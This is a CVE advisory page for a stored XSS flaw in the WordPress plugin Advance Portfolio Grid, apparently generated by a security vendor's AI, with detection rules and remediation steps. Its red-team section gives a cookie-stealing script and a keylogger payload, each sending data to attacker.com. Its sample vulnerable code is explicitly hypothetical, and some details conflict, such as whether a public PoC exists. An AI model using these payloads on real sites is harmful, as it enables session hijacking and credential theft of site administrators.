☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpbean logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57982

CVE-2025-57982 Cross-Site Scripting in Wpbean
📅 PUBLISHED: 2025-09-22 19:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57982 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Advance Portfolio Grid by WPBean, affecting versions up to and including 1.07.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into portfolio grid entries. When an administrator or other user views the compromised portfolio page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 5.9 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS amplifies the risk in multi-user WordPress environments. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem supply chain. Users who installed the plugin from the WordPress dashboard or manually uploaded it are at risk. The lack of a patch from the vendor (WPBean) means that the plugin may be abandoned or unmaintained, increasing the supply chain risk. Organizations should treat this as a high-priority unpatched component and consider removing or replacing the plugin.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – An attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – The victim must view the compromised page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can persist and affect multiple users, including administrators. In a WordPress environment with many contributors, the risk is elevated.

Deep Dive & Mechanics

The vulnerability resides in the Advance Portfolio Grid plugin, which allows users to create and manage portfolio items. The plugin fails to properly sanitize or escape user-supplied input when rendering portfolio entries. Specifically, fields such as the portfolio title, description, or custom metadata are not neutralized before being stored in the database and later displayed on the frontend.

Attack Flow:

  1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
  2. The attacker creates or edits a portfolio item in the Advance Portfolio Grid plugin.
  3. In a vulnerable input field (e.g., the portfolio title or description), the attacker injects a malicious JavaScript payload, such as <script>alert('XSS')</script> or a more sophisticated payload for session theft.
  4. The plugin stores the unsanitized payload in the WordPress database.
  5. When an administrator or any other user visits the portfolio page (e.g., /portfolio/), the plugin renders the stored payload without proper escaping.
  6. The victim’s browser executes the injected JavaScript, which can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses functions like echo $title or the_content() without applying WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows HTML and JavaScript to be injected and executed.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation in WordPress plugins.

Vulnerable Code (advance-portfolio-grid.php, line ~120):

<?php
// Vulnerable: Direct output without escaping
echo '<h2>' . $portfolio_item['title'] . '</h2>';
echo '<p>' . $portfolio_item['description'] . '</p>';
?>

Patched Code (Hypothetical):

<?php
// Patched: Proper escaping using WordPress functions
echo '<h2>' . esc_html( $portfolio_item['title'] ) . '</h2>';
echo '<p>' . wp_kses_post( $portfolio_item['description'] ) . '</p>';
?>

The patched version uses esc_html() to strip all HTML from the title and wp_kses_post() to allow only safe HTML tags in the description. Without a vendor patch, users must manually apply similar escaping or remove the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress instance with Advance Portfolio Grid <= 1.07.6 installed and activated.
  • A user account with contributor-level privileges or higher.

Step-by-Step Exploitation:

  1. Log in to the WordPress admin panel as a contributor.
  2. Navigate to Portfolio > Add New.
  3. In the Title field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. In the Description field, enter a benign description to avoid suspicion.
  5. Publish the portfolio item.
  6. Wait for an administrator to view the portfolio page (e.g., http://target.com/portfolio/).
  7. The administrator’s browser will execute the script, sending their session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Detection & Hardening)

Detection Steps:

  1. Monitor WordPress Admin Logs: Look for suspicious portfolio creation or editing activity from low-privileged users.
  2. Scan Database for XSS Payloads: Run a SQL query to find stored scripts:
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script%' OR post_title LIKE '%<script%';
    
  3. Use Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or portfolio endpoints.

Hardening Steps:

  1. Disable the Plugin: Immediately deactivate and delete the Advance Portfolio Grid plugin until a patch is available.
  2. Apply Virtual Patching: Use a WAF to block requests containing <script> tags in portfolio-related fields.
  3. Restrict User Roles: Limit contributor-level access to trusted users only.
  4. Enable Content Security Policy (CSP): Add the following header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self';
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains containing cookie= or key= parameters.
    • Unusual POST requests to /wp-admin/admin-ajax.php with portfolio data containing <script> tags.
  • Host IOCs:

    • Database entries in wp_posts where post_title or post_content contains <script> or onerror= attributes.
    • Presence of the Advance Portfolio Grid plugin version 1.07.6 or earlier in /wp-content/plugins/advance-portfolio-grid/.
  • File IOCs:

    • Modified plugin files (e.g., advance-portfolio-grid.php) containing unescaped output functions.

Detection Engineering

YARA Rule

rule CVE_2025_57982_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Advance Portfolio Grid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-57982"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /onerror\s*=|onload\s*=|onclick\s*=|onmouseover\s*=/
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Advance Portfolio Grid Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects stored XSS attempts via portfolio creation in WordPress
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=add_portfolio'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in portfolio descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57982 Stored XSS in Advance Portfolio Grid"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=add_portfolio"; http_client_body; content:"<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and delete the Advance Portfolio Grid plugin from all WordPress installations.
  2. Audit Database: Search for existing XSS payloads in wp_posts and remove them.
  3. Change Admin Credentials: If any administrator viewed a compromised portfolio page, force password resets and invalidate all sessions.

Long-Term Mitigation:

  1. Replace the Plugin: Use an alternative portfolio plugin that is actively maintained and follows secure coding practices.
  2. Implement Web Application Firewall (WAF): Deploy a WAF with rules to block XSS attempts.
  3. Educate Users: Train content contributors to avoid pasting untrusted content into portfolio fields.
  4. Monitor for Patches: Subscribe to WPBean’s update notifications or the WordPress plugin repository for a future patch.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Advance Portfolio Grid"
http.html:"wp-content/plugins/advance-portfolio-grid"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57982/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.